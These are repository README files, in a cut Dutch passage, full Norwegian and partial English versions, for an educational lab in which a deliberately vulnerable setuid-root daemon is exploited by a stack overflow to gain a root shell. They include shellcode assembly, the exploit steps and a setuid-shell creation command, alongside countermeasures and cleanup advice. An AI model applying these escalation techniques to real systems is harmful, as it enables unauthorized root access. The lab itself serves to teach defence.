aanvaller-gecontroleerde code-uitvoering. Het exploit vindt de exacte afstand
(88 bytes voor deze build) door `objdump`-output te parsen in plaats van die te
hardcoden, zodat het getal herbouwen overleeft.
### 5.2 De twist: de shell weigert root te zijn
Hier is waar "SUID-bug → spawn /bin/sh → root" fout zou gaan, en waarom dit lab
precies de vorm heeft die het heeft.
Wanneer een setuid-root-programma draait, is zijn `ruid` nog steeds de
startende gebruiker en is zijn `euid` root. Als het programma — of de aanvaller
— nu een shell start:
* `execve("/bin/sh")` verandert de uids **niet**; het nieuwe proces erft
`(ruid=1000, euid=0)`.
* bash (en dash) **controleert die exacte toestand bij de start**. Uit de
bash-handleiding: *"If the shell is started with the effective user (group)
id not equal to the real user (group) id, and the -p option is not supplied,
… the effective user id is set to the real user id."*
Dus de shell kijkt naar zichzelf en *laat root vallen* — een verdediging die de
shell-auteurs precies tegen dit aanval bouwden (de historische reden was het
setuid-shell-/setuid-scriptprobleem). Het resultaat is de "werkte, maar niet
root"-gevallen:
| Techniek | Wat hij uitvoert | Resulterende uid |
|-----------|------------------|---------------|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landde, root gereset door bash |
| `ret2libc` | `system("/bin/sh")` → verse `sh -c '/bin/sh'` | **1000** — dezelfde reset, één niveau lager |
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid opgeruimd vanuit C |
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid opgeruimd vanuit machinecode |
Degene die root bereiken, verschillen van degene die dat niet doen in precies
één idee: **ze ruimen de *reële* uid op, niet alleen de effectieve.**
```c
setuid(0) /* zet euid op 0, maar ruid blijft 1000:
bash ziet nog steeds euid != ruid en reset NOG STEEDS. */
setreuid(0, 0) /* zet BEIDE: ruid = euid = 0.
bash ziet gelijke uids en houdt root. */
```
Daarom begint de klassieke `/bin/sh`-shellcode die je overal op internet vindt
met een uid-opruimend syscall — en daarom is de shellcode hier 32 bytes in
plaats van 23: de eerste vijf instructies zijn
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Dus wat is het exploit, van begin tot eind?
1. `foosc` leest het banner van `foosd` over de socket. Het krijgt:
- `ids=0/1000` — euid/ruid (de SUID-zelfdiagnose)
- `stack=…` en `libc=…` — pointers (de ASLR-leaks)
- `BUF=…` — het exacte adres van de buffer die het op het punt staat te
laten overlopen
2. Uit de doel-binary (via `objdump`) leert het `rip_off` en de adressen van
`win()` / `win_root()`.
3. Uit *zijn eigen* libc (via `/proc/self/maps` + `dlsym` + een geheugenscan)
meet het de offsets van `system`, `read`, `/bin/sh` en een
`pop rdi; ret`-gadget — niets is hardcoded.
4. Het stelt de payload samen. Voor `-t shellcode` is dat:
`[32-byte-setreuid+execve-code][padding tot RIP][ret-fix][adres van buf]`.
5. `foosd`s `read()` loopt over; de `ret` landt op de shellcode; de kernel
voert `setreuid(0,0)` uit (geen probleem: euid 0 is bevoorrecht) en daarna
`execve` van `/bin/sh`. bash start met `ruid == euid == 0` en blijft root.
6. `foosc` schakelt je terminal door naar die root-shell, tot je `exit` typt.
Eén gemakdetail dat mensen veel tijd kost als het wordt gemist: het exploit
test elk uid-opruimgedrag **zonder** eerst de setuid-bit nodig te hebben. Draai
`make test` vóór `make setuid`, en je ziet elke techniek een shell landen terwijl
`ROOT=MISSING` staat; draai `make test-suid` ná `make setuid`, en `ROOT=SEEN`
verschijnt bij de twee technieken die de reële uid opruimen. Die A/B is de hele
les, in tien seconden uitgevoerd.
---
## 6. De oude one-liners — en waarom de meeste dood zijn
Heb je over SUID gelezen, dan heb je over `PATH`-kapingen, `LD_PRELOAD` en
setuid-shells gelezen. Alle drie zijn klassiek, en alle drie falen op een
modern systeem tegen *dit programma*. Het is de moeite waard om precies te
weten waarom, want de redenen zijn de verdedigingen die je gratis krijgt:
| Aanvalsklasse | Oude bewering | Waarom hij faalt op een moderne machine |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` van een kwaadaardige bibliotheek | "Het setuid-programma laadt mijn `.so` en draait mijn code als root." | De kernel markeert een setuid-binary als **AT_SECURE**; glibc negeert daarna `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` en vrienden. De omgeving wordt behandeld als *onbetrouwbare input*. `LD_PRELOAD` tegen een setuid-binary is een no-op. |
| `PATH`-kaping (`system("ls")` met een vergiftigde PATH) | "Wijs PATH naar een map met mijn neppe `ls`; het root-programma draait hem." | Een ander gezicht van hetzelfde verdedigingen: een AT_SECURE-proces krijgt een **gesaneerde `PATH`** (een veilige standaard, grofweg `/usr/local/bin:/usr/bin:/bin`) voor `system()`/`execvp`, dus de vergiftigde map wordt nooit geraadpleegd. |
| Setuid-`system()`-commando-injectie | "Het geïnjecteerde commando draait met euid 0." | `system()` draait het commando in een verse `/bin/sh`, en die shell — §5.2 — reset `euid = ruid` bij de start. Het geïnjecteerde commando wordt uitgevoerd met de *reële* uid. (Het blijft een bug; het escaleert alleen niet meer via `/bin/sh`.) |
| Setuid-root-shell op de schijf (`cp /bin/sh /tmp; chmod u+s`) | "Draai hem, krijg root." | Precies wat hierboven verdedigd wordt, en dat is waarom moderne distro's geen enkele setuid-root-shell leveren. Zelfs als je er één kunt maken, weigert bash euid 0 te houden tenzij hij met `-p` wordt gestart. |
Wat blijft leven, en dat is dit lab: **het programma is *al* root wanneer het
draait.** Je hebt de omgeving of `system()` niet nodig; je hebt nodig dat het
programma *jouw* code uitvoert (via een geheugenbeschadigingsbug) terwijl het
bevoorrecht is, en dat jouw code zorgvuldig genoeg is om zelf de uid-mismatch
recht te zetten — `setreuid(0,0)` — voordat het je een shell overhandigt.
Geheugenbeschadiging + SUID is de combinatie die nog steeds in `uid=0` eindigt,
en dat is precies waarom geheugenveilige talen, canaries en no-execute-stacks
geen modebeslissing zijn.
---
## 7. De veiligheidsheurlingen die in de daemon zijn ingebouwd
`foosd` is bewust het *slechtste* stuk software in dit repository, dus het
draagt ook de meeste leuningen:
1. **Alleen loopback, afgedwongen.** `foosd` weigert elke bind-adres buiten
loopback, tenzij je `-L` geeft. Een setuid-root-listener op een echte
interface is een externe root-dienst; de weigering is de standaard, zodat de
gevaarlijke toestand bewust moet worden ingetypt.
2. **Zelfdiagnose.** Bij de start logt hij `ruid`/`euid` en of hij als root
draait, zodat de console de toestand toont waarvan het exploit afhangt.
3. **De log bereikt de client nooit.** De daemon reserveert een privé
log-descriptor vóór sockets fd 1 vervangen, zodat crash-reporter-output en
interne paden niet door de aanvaller over de draad teruggelezen kunnen
worden.
4. **Crash-reporter.** Een SIGSEGV-handler logt `RIP`/`RSP` — de waarde die de
aanvaller in het retouradres schreef — zodat een succesvolle overname
zichtbaar is in `foosd.log` in plaats van een stille dood.
5. **`make unsetuid`.** Het verwijderen van de bit is gescript, omdat hem laten
staan de faaltoestand is die mensen daadwerkelijk hebben.
---
## 8. Tegenmaatregelen — wat elke stopt en wat hij *niet* stopt
Toegepast op `foosd` via `make hardened`, één voor één of samen:
| Tegenmaatregel | Wat hij stopt | Wat hij *niet* stopt |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | De overloop: `ret` detecteert een beschadigde canary en aborted vóór het adres van de aanvaller wordt gebruikt. Stopt hier **alle vier** de technieken — ze delen het ene kwetsbare `read()`. | Niets aan *het ontwerp*: de binary is nog steeds setuid-root; een andere bug (format-string-`%n`, heap-overflow, use-after-free) heeft geen canary om af te laten gaan. |
| `-fPIE -pie` (ASLR voor de binary) | Gebruik van voorspelbare `win()`/`win_root()`-adressen (de ret2win-technieken). | De shellcode-techniek, als er nog een stack-adres lekt (`BUF=`-regel). |
| `-z noexecstack` (NX / W^X) | De shellcode: de CPU weigert instructies op te halen van een data-only-pagina, dus een sprong naar `buf` is een SIGSEGV. | ROP — code draaien die al bestaat (`ret2libc`). |
| Alle drie samen | Een moeilijk-te-laten-overlopen, gerandomiseerde binary met een niet-uitvoerbare stack. Zo ziet een normale geharde build eruit. | De setuid-bit. **Een geharde SUID-binary is nog steeds een SUID-binary.** Overleeft er een bereikbare geheugenveiligheidsbug, dan is het nog steeds "bug in een root-proces". |
Het consolebewijs is `make test-hardened`, dat de geharde build inwisselt en
laat zien hoe alle technieken bij de canary sterven, terwijl
`foosd_hardened.log` `*** stack smashing detected ***` opvangt.
Twee tegenmaatregelen op ontwerpniveau die geen enkele compilerflag levert, en
die het hoofdlaboratorium (`food`) ook gebruikt:
- **Minste privilege.** Een daemon voor een onbevoordeelde poort (2343 > 1024)
heeft geen legitieme behoefte aan root. Een correcte `foosd` zou binden en
daarna `setgroups`/`setgid`/`setuid` naar een onbevoorrechte account en
*bevestigen dat het hield* (de correcte versie staat in de bron als
`drop_privs()`, nooit aangeroepen — het niet-aanroepen is bug nr. 3 van het
lab).
- **Beperk de read.** `n = read(fd, buf, sizeof(buf) - 1)`. Eén correcte regel
overtreft elke compilerflag in de tabel.
---
## 9. Het wire-protocol (zodat je de daemon met netcat kunt lezen)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — kon niet als `euid=`/`ruid=` geprint worden, omdat de
test-harness een shell bewijst door op het letterlijke `uid=` te greppen, en
het banner mag dat niet bevatten (een sonde die de handtekening met het
antwoord deelt, is een klassieke fout-positief- val; zie de commentaar in
`foosd.c`). De harness vereist bovendien de strikte `id`-outputvorm —
`uid=NNN(...)` — zodat niets wat de daemon of het exploit print het aan
toeval kan laten voldoen: `foosc`s eigen "target euid=… ruid=…" bevat `uid=`
als deelstring, wat ooit een geharde test een shell liet melden die nooit had
gedraaid.
* `stack=`, `libc=`, `BUF=` — de ASLR-leaks: laten shellcode en ret2libc exacte
adressen berekenen.
---
## 10. Oefeningen
1. **Beschouw de niet-root-degradatie.** Draai `make test` *vóór* `make
setuid`, en daarna nog eens achteraf. Verklaar de `ROOT=SEEN`-verandering
met het ruid/euid-verhaal in §5.2.
2. **Lees de crash.** Draai `./foosc -t demo -n` en lees daarna `foosd.log`.
De regel `RIP=0x4141414141414141` is de padding van de aanvaller — het bewijs
dat de overloop, niet toeval, de uitvoering bestuurt.
3. **Voeg de canary toe.** `make hardened` en verander zelf de
`test-hardened`-lus; de logregel `*** stack smashing detected ***` is de
verdediging die werkt.
4. **Schakel het lek uit.** Commentaar de `BUF=`-regel in `foosd.c` uit, bouw
opnieuw, en zie `-t shellcode` van deterministisch naar een raadspel
veranderen. Die ene regel is de reden dat echte ASLR-bypasses een heel veld
zijn.
5. **Het `-p`-experiment.** Verander in een kopie van `win()`
`execl("/bin/sh", "sh", NULL)` naar `execl("/bin/sh", "sh", "-p", NULL)` en
observeer root. `-p` is de gedocumenteerde nooduitgang uit de wacht van de
shell — en de reden dat het advies "spawn gewoon een shell" uit oude
write-ups onvolledig is.
6. **Waarom niet `setuid(0)`?** Herschrijf de shellcode om `setuid(0)` te
roepen in plaats van `setreuid(0,0)` (syscall 105). De shell landt nog
steeds — en zakt nog steeds naar `uid=1000`. Dat is het meest leerzame
één-regel-experiment van het hele repository.
---
## 11. Veiligheid en opruimen
- Alleen loopback, als standaard en volgens ontwerp; `-L` bindt verder, en
alleen een weg-te-gooien-VM zou het überhaupt moeten overwegen.
- Dit is een root-shell-lab. Draai het niet op een machine die ertoe doet, en
richt `foosc -h` niet op iets dat je niet bezit.
- Opruimritueel: `make stop` en daarna `make unsetuid`, en als je de boom weer
vlekkeloos wilt: `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

387
suid/README.NO.md Normal file
View file

@ -0,0 +1,387 @@
# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit)
En ledsager til hovedlaboratoriet (`food` / `fooc`, en vanlig daemon der et
bufferoverløp gir deg en *bruker*-shell). Dette legger til den farligste
én-tegns-endringen i Unix: **setuid-biten**.
> `chmod u+s` forvandler «angriperen kan kjøre kode på denne verten» til
> «angriperen kan kjøre kode som **root** på denne verten».
Den setningen er hele laboratoriet. Alt nedenfor er mekanismen under den, skrevet
ned, slik at du når du skriver din egen programvare, vet nøyaktig hvilke to eller
tre filsystem-attributter og kompilator-flag som avgjør om en
minnesikkerhetsfeil i koden din er en irritasjon eller en root-shell.
Den endelige demoen, når `foosd` er setuid-root, er en **root-shell** som åpnes
over nettverket ved å utføre 32 bytes håndskrevet shellcode.
---
## 1. Hva setuid-biten faktisk gjør
Hver prosess på Linux bærer tre user-ID-er, og setuid-biten tukler med forholdet
mellom dem:
| ID | Navn | Betydning |
|----|------|---------|
| `ruid` | reell user-ID | kontoen som *startet* prosessen |
| `euid` | effektiv user-ID | det kjernen sjekker når den håndhever tilgang |
| (saved) | lagret set-user-ID | en «sporplass» en privilegert prosess kan vende tilbake til senere |
Et vanlig program har `ruid == euid`. Når du kjører en binærfil med
setuid-biten satt, eid av root:
```text
ruid = deg (f.eks. 1000, «hanez»)
euid = eieren (f.eks. 0, «root»)
```
Prosessen har derfor **roots autoritet**, selv om brukeren som startet den er
helt vanlig. Hvert sjekkpunkt kjernen utfører — kan denne prosessen lese
`/etc/shadow`? skrive en fil? drepe en annen prosess? — besvares med `euid`,
altså «ja, den er root».
`foosd` er en nettverksdaemon. Den binder en port og `fork()`er deretter et
barn per tilkobling. En fork *arver* euid-en, så hvert barn som håndterer en
tilkobling er også root. Overløpet i `foosd`s `vulnerable_handler()` er derfor
et overløp *inne i en root-prosess*.
**Diagnostiser det selv når daemonen kjører:**
```console
$ ./foosd ... # se logglinjen den skriver ut ved start
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
og fra exploitet:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. Laboratoriet ved første øyekast
| Fil | Rolle |
|------|------|
| `foosd.c` | Den bevisst sårbare daemonen (eier feilene). Kjør som *setuid-root*-binærfil for root-shell-demoen. |
| `foosc.c` | Exploitet. Bruker som standard den 32-byte `setreuid + execve`-shellcode-teknikken. |
| `shellcode.S` | Referanse-shellcoden; `make verify` diff'er den mot byte-arrayen i `foosc.c`. |
| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gjennom et pseudo-terminal og beviser både «en shell kjørte» *og* «den var root» (`uid=0(`). |
| `Makefile` | Bygg, `setuid`/`unsetuid`-hjelpere, testmatrise. |
| `README.md` | Denne filen. |
> **Hvorfor en pty?** Exploitets siste handling er å videresende terminalen din
> til shellen som kjører på offeret. En pipe eller her-doc havner i feil ende av
> den videresendingen; en ekte terminal er påkrevd.
---
## 3. Rask start
```console
$ make # bygg alt, som din vanlige bruker
$ make setuid # én gang, spør om sudo: chown root + chmod u+s
$ make run # start foosd på 127.0.0.1:2343
$ make test-suid # full matrise; shellcode + ret2win-root skal gi root
```
Interaktiv røykprøve:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret
# exit
```
Når du er ferdig:
```console
$ make stop
$ make unsetuid # hygiene: etterlat aldri en root-SUID-binærfil
```
---
## 4. *Når skal jeg sette SUID-biten?* — svaret du ba om
Nøyaktig **én gang, etter byggingen, før du starter daemonen for
root-shell-demoene** — og bare på en maskin som er din, egnet til å kastes og
frakoblet nettverket:
```console
$ make # kompiler foosd, foosc, tester
$ make setuid # <-- ØYEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # start ETTER at du har satt biten
```
To regler som betyr mer enn det nøyaktige tidspunktet:
1. **Sett den bare når binærfilen er ferdig.** Hvis du bygger om (`make` /
`make clean`) etter at du har satt biten, treffer du «Permission denied» når
du skriver root-eide utdatafiler — og hvis du tvinger ombyggingen, gjenskaper
verktøykjeden filen **uten** `s`-en og angrer stille og rolig oppsettet. Den
kanoniske rekkefølgen ved enhver ombygging er derfor
```console
$ make unsetuid && make && make setuid
```
2. **Fjern den når du er ferdig.** `make unsetuid`. En levende,
root-eid setuid-binærfil med en utnyttbar feil i treet ditt er ikke et
læremiddel, det er et root-hull med en kompileringsfeil mellom seg og
ingenting. På en delt eller produksjonsmaskin: **ikke gjør noe av dette.**
Daemonen nekter dessuten som standard å binde noe annet enn loopback (se §7).
Hvis du kjører exploitet *uten* noen gang å sette biten, går ingenting i stykker
— payloaden lander fortsatt, og du får fortsatt en shell. Forskjellen er i ett
tall, og exploitet sier det høyt:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
«Virket, men ikke root»-resultatet er selv en del av laboratoriet. Husk det til
neste avsnitt.
---
## 5. Mekanismen — og vrien som gjør SUID interessant
### 5.1 Overløpet (identisk med `food`)
`foosd`s handler gir et `read()` 512 bytes tillit, mens den rekker den et
64-byte stack-buffer:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */
```
På x86-64 vokser stacken nedover. Exploitet skriver 64 bytes søppel for å fylle
`buf`, 8 for å fylle den lagrede rammepekeren og 8 til for å erstatte den
**lagrede returadressen**. Når `vulnerable_handler` utfører `ret`, popper CPU-en
angriperens verdi inn i `RIP` — angriperkontrollert kodeutførelse. Exploitet
finner den nøyaktige avstanden (88 bytes for denne builden) ved å parse
`objdump`-utdata i stedet for å hardkode den, så tallet overlever ombygginger.
### 5.2 Vrien: shellen nekter å være root
Her er det der å tenke «SUID-feil → spawn /bin/sh → root» ville gått galt, og
hvorfor dette laboratoriet har nøyaktig den formen det har.
Når et setuid-root-program kjører, er `ruid` fortsatt den startende brukeren, og
`euid` er root. Hvis programmet — eller angriperen — nå starter en shell:
* `execve("/bin/sh")` endrer **ikke** u-id-ene; den nye prosessen arver
`(ruid=1000, euid=0)`.
* bash (og dash) **sjekker nøyaktig den tilstanden ved start**. Fra
bash-manualen: *«If the shell is started with the effective user (group) id
not equal to the real user (group) id, and the -p option is not supplied, …
the effective user id is set to the real user id.»*
Så shellen ser på seg selv og *dropper root* — et forsvar
shell-forfatterne bygde nøyaktig mot dette angrepet (den historiske
begrunnelsen var setuid-shell-/setuid-skript-problemet). Resultatet er
«virket, men ikke root»-tilfellene:
| Teknikk | Hva den utfører | Resulterende uid |
|-----------|------------------|---------------|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landet, root nullstilt av bash |
| `ret2libc` | `system("/bin/sh")` → fersk `sh -c '/bin/sh'` | **1000** — samme nullstilling, ett nivå ned |
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C |
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode |
De to som når root, skiller seg fra de to som ikke gjør det, med nøyaktig én idé:
**de rydder den *reelle* uid-en, ikke bare den effektive.**
```c
setuid(0) /* setter euid til 0, men ruid forblir 1000:
bash ser fortsatt euid != ruid og nullstiller FORTSATT. */
setreuid(0, 0) /* setter BEGGE: ruid = euid = 0.
bash ser like uid-er og beholder root. */
```
Det er derfor den klassiske `/bin/sh`-shellcoden du finner overalt på nettet,
starter med et uid-ryddende syscall — og grunnen til at shellcoden her er 32
bytes i stedet for 23: de første fem instruksjonene er
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Så hva er exploitet, fra ende til annen?
1. `foosc` leser `foosd`s banner over socketen. Det får:
- `ids=0/1000` — euid/ruid (SUID-selvdiagnosen)
- `stack=…` og `libc=…` — pekere (ASLR-leaksene)
- `BUF=…` — den nøyaktige adressen på bufferen den er i ferd med å renne over
2. Fra målbinærfilen (via `objdump`) lærer det `rip_off` og adressene til
`win()` / `win_root()`.
3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et minnesøk) måler det
offsetene for `system`, `read`, `/bin/sh` og et `pop rdi; ret`-gadget —
ingenting er hardkodet.
4. Det setter sammen payloaden. For `-t shellcode` er det:
`[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`.
5. `foosd`s `read()` renner over; `ret` lander på shellcoden; kjernen utfører
`setreuid(0,0)` (helt greit: euid 0 er privilegert) og deretter `execve` av
`/bin/sh`. bash starter med `ruid == euid == 0` og forblir root.
6. `foosc` videresender terminalen din til den root-shellen, til du skriver
`exit`.
Én bekvemmelighetsdetalj som koster folk mye tid hvis den overses: exploitet
tester hver uid-ryddende adferd **uten** først å trenge setuid-biten. Kjør
`make test` før `make setuid`, så ser du hver teknikk lande en shell mens
`ROOT=MISSING` står; kjør `make test-suid` etter `make setuid`, så dukker
`ROOT=SEEN` opp ved de to teknikkene som rydder den reelle uid-en. Den A/B-en er
hele leksjonen, utført på ti sekunder.
---
## 6. De gamle one-linerne — og hvorfor de fleste av dem er døde
Har du lest om SUID, har du lest om `PATH`-kapring, `LD_PRELOAD` og
setuid-shells. Alle tre er klassiske, og alle tre feiler på et moderne system
mot *dette programmet*. Det er verdt å vite nøyaktig hvorfor, fordi grunnene er
forsvarene du får gratis:
| Angrepsklasse | Gammel påstand | Hvorfor den feiler på en moderne maskin |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` av et ondsinnet bibliotek | «Setuid-programmet laster min `.so` og kjører koden min som root.» | Kjernen merker en setuid-binærfil som **AT_SECURE**; glibc ignorerer deretter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *upålitelig input*. `LD_PRELOAD` mot en setuid-binærfil er en no-op. |
| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | «Pek PATH mot en mappe med min falske `ls`; root-programmet kjører den.» | Et annet ansikt av samme forsvar: en AT_SECURE-prosess får en **sanert `PATH`** (en sikker standard, omtrent `/usr/local/bin:/usr/bin:/bin`) for `system()`/`execvp`, så den forgiftede mappen konsulteres aldri. |
| Setuid-`system()`-kommandoinjeksjon | «Den injiserte kommandoen kjører med euid 0.» | `system()` kjører kommandoen i en fersk `/bin/sh`, og den shellen — §5.2 — nullstiller `euid = ruid` ved start. Den injiserte kommandoen utføres med den *reelle* uid-en. (Det er fortsatt en feil; den eskalerer bare ikke lenger gjennom `/bin/sh`.) |
| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | «Kjør den, få root.» | Nøyaktig forsvaret ovenfor, og det er grunnen til at moderne distroer ikke leverer noen setuid-root-shell. Selv når du lykkes med å lage én, nekter bash å beholde euid 0 med mindre den startes med `-p`. |
Det som forblir i live, og det er dette laboratoriet: **programmet er *allerede*
root når det kjører.** Du trenger ikke miljøet eller `system()`; du trenger at
programmet utfører *din* kode (via en minnekorrupsjonsfeil) mens det er
privilegert, og at koden din er omhyggelig nok til selv å rette opp
uid-mismatchen — `setreuid(0,0)` — før den overrekker deg en shell.
Minnekorrupsjon + SUID er kombinasjonen som fortsatt ender i `uid=0`, noe som er
nøyaktig hvorfor minnesikre språk, canaries og no-execute-stacker ikke er en
moteavgjørelse.
---
## 7. Sikkerhetsgelenderne som er bygget inn i daemonen
`foosd` er bevisst det *dårligste* stykket programvare i dette repositoriet, så
det bærer også flest gelendere:
1. **Bare loopback, håndhevet.** `foosd` nekter enhver bind-adresse utenom
loopback, med mindre du gir `-L`. En setuid-root-listener på et ekte
grensesnitt er en fjern root-tjeneste; avslaget er standarden, så den
farlige tilstanden må skrives inn bevisst.
2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kjører som
root, så konsollen viser den tilstanden exploitet avhenger av.
3. **Loggen når aldri klienten.** Daemonen reserverer en privat
logg-descriptor før sockets erstatter fd 1, så crash-reporter-utdata og
interne stier ikke kan leses tilbake over ledningen av angriperen.
4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den verdien
angriperen skrev inn i returadressen — så en vellykket kapring er synlig i
`foosd.log` i stedet for å være en stille død.
5. **`make unsetuid`.** Fjerning av biten er scriptet, fordi å etterlate den
satt er feiltilstanden folk faktisk har.
---
## 8. Mottiltak — hva hvert stopper, og hva det *ikke* stopper
Anvendt på `foosd` via `make hardened`, én om gangen eller sammen:
| Mottiltak | Hva det stopper | Hva det *ikke* stopper |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | Overløpet: `ret` oppdager en smadret canary og aborter, før angriperens adresse brukes. Stopper her **alle fire** teknikkene — de deler det ene sårbare `read()`-et. | Ingenting ved *designet*: binærfilen er fortsatt setuid-root; en annen feil (format-streng-`%n`, heap-overflow, use-after-free) har ingen canary å utløse. |
| `-fPIE -pie` (ASLR for binærfilen) | Bruk av forutsigbare `win()`/`win_root()`-adresser (ret2win-teknikkene). | Shellcode-teknikken, hvis en stack-adresse fortsatt lekker (`BUF=`-linjen). |
| `-z noexecstack` (NX / W^X) | Shellcoden: CPU-en nekter å hente instruksjoner fra en data-only-side, så et hopp til `buf` er et SIGSEGV. | ROP — å kjøre kode som allerede finnes (`ret2libc`). |
| Alle tre sammen | En vanskelig-å-renne-over, randomisert binærfil med ikke-kjørbar stack. Slik ser en normal hardet build ut. | Setuid-biten. **En hardet SUID-binærfil er fortsatt en SUID-binærfil.** Hvis noen nåbar minnesikkerhetsfeil overlever, er det fortsatt «feil i en root-prosess». |
Konsollbeviset er `make test-hardened`, som bytter den hardnede builden inn og
viser alle teknikkene dø ved canaryen, mens `foosd_hardened.log` fanger
`*** stack smashing detected ***`.
To mottiltak på designnivå som ingen kompilator-flag leverer, og som
hovedlaboratoriet (`food`) også bruker:
- **Minste privilegium.** En daemon for en uprivilegert port (2343 > 1024) har
intet legitimt behov for root. En korrekt `foosd` ville binde og deretter
`setgroups`/`setgid`/`setuid` til en uprivilegert konto og *bekrefte at det
holdt* (den korrekte versjonen står i kilden som `drop_privs()`, aldri kalt —
ikke-kallingen er laboratoriets feil nr. 3).
- **Begrens read-et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje
overgår hvert kompilator-flag i tabellen.
---
## 9. Wire-protokollen (så du kan lese daemonen med netcat)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — kunne ikke skrives ut som `euid=`/`ruid=`, fordi
test-harnessen beviser en shell ved å greppe etter det bokstavelige `uid=`, og
banneret må ikke inneholde det (en sonde som deler signatur med svaret, er en
klassisk falsk-positiv-felle; se kommentaren i `foosd.c`). Harnessen krever
dessuten den strenge `id`-utdataformen — `uid=NNN(...)` — så ingenting
daemonen eller exploitet skriver ut kan oppfylle sjekken ved en tilfeldighet:
`foosc`s eget «target euid=… ruid=…» inneholder `uid=` som delstreng, noe som
en gang fikk en hardnet test til å melde en shell som aldri hadde kjørt.
* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lar shellcode og ret2libc beregne
eksakte adresser.
---
## 10. Øvelser
1. **Betrakt ikke-root-nedgraderingen.** Kjør `make test` *før* `make setuid`,
og deretter igjen etterpå. Forklar `ROOT=SEEN`-endringen med
ruid/euid-historien i §5.2.
2. **Les krasjet.** Kjør `./foosc -t demo -n` og les deretter `foosd.log`.
Linjen `RIP=0x4141414141414141` er angriperens padding — beviset på at
overløpet, ikke uhell, kontrollerer utførelsen.
3. **Legg til canaryen.** `make hardened` og endre selv `test-hardened`-løkken;
logglinjen `*** stack smashing detected ***` er forsvaret som virker.
4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ut, bygg om, og se
`-t shellcode` gå fra deterministisk til et gjettespill. Den ene linjen er
grunnen til at ekte ASLR-bypasser er et helt felt.
5. **`-p`-eksperimentet.** Endre i en kopi av `win()` `execl("/bin/sh", "sh",
NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er
den dokumenterte nødutgangen fra shellens vakt — og grunnen til at rådet
«spawn bare en shell» fra gamle write-ups er ufullstendig.
6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til å kalle `setuid(0)`
i stedet for `setreuid(0,0)` (syscall 105). Shellen lander fortsatt — og
faller fortsatt til `uid=1000`. Det er det mest lærerike
én-linjes-eksperimentet i hele repositoriet.
---
## 11. Sikkerhet og opprydding
- Bare loopback, som standard og etter design; `-L` binder lenger, og bare en
egnet-til-å-kastes VM bør i det hele tatt vurdere det.
- Dette er et root-shell-laboratorium. Ikke kjør det på en maskin som betyr
noe, og pek ikke `foosc -h` mot noe du ikke eier.
- Oppryddingsritual: `make stop` og deretter `make unsetuid`, og hvis du vil ha
treet plettfritt igjen: `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

388
suid/README.md Normal file
View file

@ -0,0 +1,388 @@
# SUID-Root RCE Lab — `foosd` (daemon) + `foosc` (exploit)
A companion to the parent lab (`food` / `fooc`, a plain daemon where a buffer
overflow gives you a *user* shell). This one adds the most dangerous
one-character change in Unix: the **setuid bit**.
> `chmod u+s` turns "the attacker can run code on this host" into "the
> attacker can run code as **root** on this host".
That sentence is the entire lab. Everything below is the mechanism underneath
it, written down so that when you write your own software you know exactly
which two or three filesystem attributes and compiler flags decide whether a
memory-safety bug in your code is a nuisance or a root shell.
The final demo, when `foosd` is setuid-root, is a **root shell** opened over
the network by executing 32 bytes of hand-written shellcode.
---
## 1. What the setuid bit actually does
Every process on Linux carries three user IDs, and the setuid bit tinkers
with the relationship between them:
| ID | Name | Meaning |
|----|------|---------|
| `ruid` | real user ID | the account that *started* the process |
| `euid` | effective user ID | what the kernel checks when enforcing access |
